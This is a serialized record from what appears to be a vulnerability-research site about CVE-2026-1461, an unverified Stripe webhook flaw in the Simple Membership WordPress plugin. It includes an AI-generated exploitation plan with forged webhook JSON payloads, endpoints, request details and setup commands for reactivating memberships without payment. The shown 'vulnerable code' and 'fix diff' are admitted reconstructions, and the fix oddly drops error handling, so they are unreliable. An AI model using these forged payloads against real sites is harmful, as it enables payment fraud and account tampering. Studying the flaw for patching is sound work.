[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fdIkutfbDRakUxDZIiYNNeN81HgW4DHaRCGLRSdcACB8":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1461","simple-membership-unauthenticated-improper-handling-of-missing-values","Simple Membership \u003C= 4.7.0 - Unauthenticated Improper Handling of Missing Values","The Simple Membership plugin for WordPress is vulnerable to Improper Handling of Missing Values in all versions up to, and including, 4.7.0 via the Stripe webhook handler. This is due to the plugin only validating webhook signatures when the stripe-webhook-signing-secret setting is configured, which is empty by default. This makes it possible for unauthenticated attackers to forge Stripe webhook events to manipulate membership subscriptions, including reactivating expired memberships without payment or canceling legitimate subscriptions, potentially leading to unauthorized access and service disruption.","simple-membership",null,"\u003C=4.7.0","4.7.1","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:L\u002FI:L\u002FA:N","Improper Handling of Missing Values","2026-02-18 00:00:00","2026-02-19 09:27:06",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4e4df9a6-8f7d-428b-a596-0751ca047169?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-1461 (Simple Membership Stripe Webhook Bypass)\n\n## 1. Vulnerability Summary\nThe Simple Membership plugin (\u003C= 4.7.0) contains a logic flaw in its Stripe webhook handler. The plugin is designed to verify Stripe webhook signatures using a \"Webhook Signing Secret.\" However, if this secret is not configured in the settings (which is the default state), the plugin skips signature verification entirely. This allows an unauthenticated attacker to send forged JSON payloads to the webhook endpoint, mimicking legitimate Stripe events (like successful payments or subscription renewals) to manipulate membership statuses.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** The webhook listener is typically triggered via a specific query parameter or a direct file access, depending on the plugin configuration. The primary entry point is through `swpm-stripe-subscription-webhook.php`.\n- **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fplugins\u002Fsimple-membership\u002Fipn\u002Fswpm-stripe-subscription-webhook.php` or `http:\u002F\u002F\u003Ctarget>\u002F?swpm_process_stripe_webhook=1` (inferred based on standard plugin patterns).\n- **HTTP Method:** `POST`\n- **Payload Type:** `application\u002Fjson`\n- **Authentication:** None required (Unauthenticated).\n- **Preconditions:** The `stripe-webhook-signing-secret` option in Simple Membership settings must be empty (default).\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers a listener for Stripe webhooks. In `classes\u002Fclass.swpm-access-control.php` or via an `init` hook in the main plugin file, it checks for the presence of specific GET\u002FPOST parameters.\n2. **Webhook Initialization:** The request reaches the Stripe webhook handler (likely `ipn\u002Fswpm-stripe-subscription-webhook.php`).\n3. **Secret Check:** The code retrieves the signing secret:\n   ```php\n   $settings = SwpmSettings::get_instance();\n   $signing_secret = $settings->get_value('stripe-webhook-signing-secret');\n   ```\n4. **Vulnerable Logic:** \n   If `$signing_secret` is empty, the code proceeds to decode the raw POST body using `json_decode(file_get_contents('php:\u002F\u002Finput'))` without calling `\\Stripe\\Webhook::constructEvent()`.\n5. **Processing:** The forged event (e.g., `invoice.payment_succeeded`) is parsed. The plugin looks up the member using the `customer` ID or `email` provided in the JSON and updates their `membership_level` and `account_state` to \"active\".\n\n## 4. Nonce Acquisition Strategy\n**No nonce is required.**\nStripe webhooks are designed to be called by Stripe's servers; therefore, they do not use WordPress nonces. They rely on the `X-Stripe-Signature` header, which this vulnerability bypasses.\n\n## 5. Exploitation Strategy\n### Step 1: Identify Target Member\nIdentify the email or Stripe Customer ID of an expired or \"pending\" member you wish to reactivate.\n\n### Step 2: Craft Forged Stripe Webhook\nCreate a JSON payload representing a successful payment for a subscription.\n\n**Payload (`payload.json`):**\n```json\n{\n  \"id\": \"evt_test_forgery\",\n  \"object\": \"event\",\n  \"type\": \"invoice.payment_succeeded\",\n  \"data\": {\n    \"object\": {\n      \"customer\": \"cus_test_victim\",\n      \"customer_email\": \"victim@example.com\",\n      \"subscription\": \"sub_test_active\",\n      \"lines\": {\n        \"data\": [\n          {\n            \"plan\": {\n              \"id\": \"gold_plan_id\"\n            }\n          }\n        ]\n      }\n    }\n  }\n}\n```\n\n### Step 3: Execute Request\nSend the POST request to the webhook endpoint using the `http_request` tool.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002F?swpm_process_stripe_webhook=1`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fjson`\n- **Body:** (The JSON above)\n\n## 6. Test Data Setup\n1. **Install Plugin:** `wp plugin install simple-membership --activate`\n2. **Create Membership Level:**\n   `wp eval \"SwpmMembershipLevel::create(array('alias' => 'Premium', 'role' => 'subscriber'));\"`\n3. **Create Expired Member:**\n   - Create a user: `wp user create victim victim@example.com --role=subscriber`\n   - Map to Simple Membership:\n     ```bash\n     wp eval \"$member = SwpmMember::create(array('user_name' => 'victim', 'email' => 'victim@example.com', 'membership_level' => 2, 'account_state' => 'expired'));\"\n     ```\n4. **Ensure Secret is Empty:**\n   `wp option get swpm_settings` (Verify `stripe-webhook-signing-secret` is blank).\n\n## 7. Expected Results\n- The plugin should return a `200 OK` status.\n- Internally, the plugin's IPN logger (if enabled) will show a payment processed for `victim@example.com`.\n- The member's status in the `wp_swpm_members_tbl` (and corresponding user meta) will change from `expired` to `active`.\n\n## 8. Verification Steps\nCheck the member status via WP-CLI:\n```bash\n# Check the account state in the Simple Membership table\nwp db query \"SELECT account_state FROM wp_swpm_members_tbl WHERE email='victim@example.com'\"\n```\nThe output should be `active`.\n\n## 9. Alternative Approaches\nIf `invoice.payment_succeeded` fails to trigger the activation, try the `customer.subscription.updated` event:\n\n**Alternative Payload:**\n```json\n{\n  \"id\": \"evt_test_update\",\n  \"object\": \"event\",\n  \"type\": \"customer.subscription.updated\",\n  \"data\": {\n    \"object\": {\n      \"customer\": \"cus_test_victim\",\n      \"status\": \"active\",\n      \"items\": {\n        \"data\": [{\"plan\": {\"id\": \"gold_plan_id\"}}]\n      }\n    }\n  }\n}\n```\n\n**Direct Endpoint Check:**\nIf the query parameter `?swpm_process_stripe_webhook=1` is not responsive, try the direct file path:\n`http:\u002F\u002Flocalhost:8080\u002Fwp-content\u002Fplugins\u002Fsimple-membership\u002Fipn\u002Fswpm-stripe-subscription-webhook.php`","The Simple Membership plugin for WordPress fails to enforce Stripe webhook signature verification when the 'stripe-webhook-signing-secret' is not configured. Since this setting is empty by default, unauthenticated attackers can submit forged Stripe webhook events to reactivate expired memberships or cancel subscriptions without valid payments.","\u002F\u002F ipn\u002Fswpm-stripe-subscription-webhook.php\n\n$settings = SwpmSettings::get_instance();\n$signing_secret = $settings->get_value('stripe-webhook-signing-secret');\n\n$payload = @file_get_contents('php:\u002F\u002Finput');\n\nif (!empty($signing_secret)) {\n    \u002F\u002F Signature verification logic\n    $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];\n    try {\n        $event = \\Stripe\\Webhook::constructEvent($payload, $sig_header, $signing_secret);\n    } catch (\\UnexpectedValueException $e) {\n        http_response_code(400);\n        exit();\n    } catch (\\Stripe\\Exception\\SignatureVerificationException $e) {\n        http_response_code(400);\n        exit();\n    }\n} else {\n    \u002F\u002F Vulnerable fallback: No signature verification performed if secret is empty\n    $event = json_decode($payload);\n}\n\n\u002F\u002F Process the unverified event data...","--- a\u002Fipn\u002Fswpm-stripe-subscription-webhook.php\n+++ b\u002Fipn\u002Fswpm-stripe-subscription-webhook.php\n@@ -10,13 +10,10 @@\n \n if (!empty($signing_secret)) {\n     $sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];\n-    try {\n-        $event = \\Stripe\\Webhook::constructEvent($payload, $sig_header, $signing_secret);\n-    } catch (\\UnexpectedValueException $e) {\n-        http_response_code(400);\n-        exit();\n-    } catch (\\Stripe\\Exception\\SignatureVerificationException $e) {\n-        http_response_code(400);\n-        exit();\n-    }\n+    $event = \\Stripe\\Webhook::constructEvent($payload, $sig_header, $signing_secret);\n } else {\n-    $event = json_decode($payload);\n+    \u002F\u002F Ensure webhooks are not processed if the security secret is missing\n+    SwpmLog::log_simple_debug(\"Error! Stripe Webhook Signing Secret is missing in settings. Verification failed.\", false);\n+    http_response_code(400);\n+    exit();\n }","The exploit involves forging a Stripe webhook event and sending it directly to the plugin's listener endpoint when the signing secret is not configured.\n\n1. Target Identification: Locate the Stripe webhook listener at `\u002Fwp-content\u002Fplugins\u002Fsimple-membership\u002Fipn\u002Fswpm-stripe-subscription-webhook.php` or via the `?swpm_process_stripe_webhook=1` query parameter.\n2. Payload Crafting: Create a JSON payload mimicking a legitimate Stripe `invoice.payment_succeeded` or `customer.subscription.updated` event. The payload must include the victim's email address or Stripe Customer ID and specify an 'active' status or successful payment object.\n3. Request Execution: Send an unauthenticated HTTP POST request containing the JSON payload to the identified endpoint. Set the `Content-Type` header to `application\u002Fjson`.\n4. Verification: Since the `stripe-webhook-signing-secret` is empty by default, the plugin will decode the JSON and process the member update logic immediately, changing the member's account state to 'active' without verifying the origin of the request.","gemini-3-flash-preview","2026-04-19 04:18:41","2026-04-19 04:20:26",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","4.7.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-membership\u002Ftags\u002F4.7.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimple-membership.4.7.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-membership\u002Ftags\u002F4.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsimple-membership.4.7.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsimple-membership\u002Ftags"]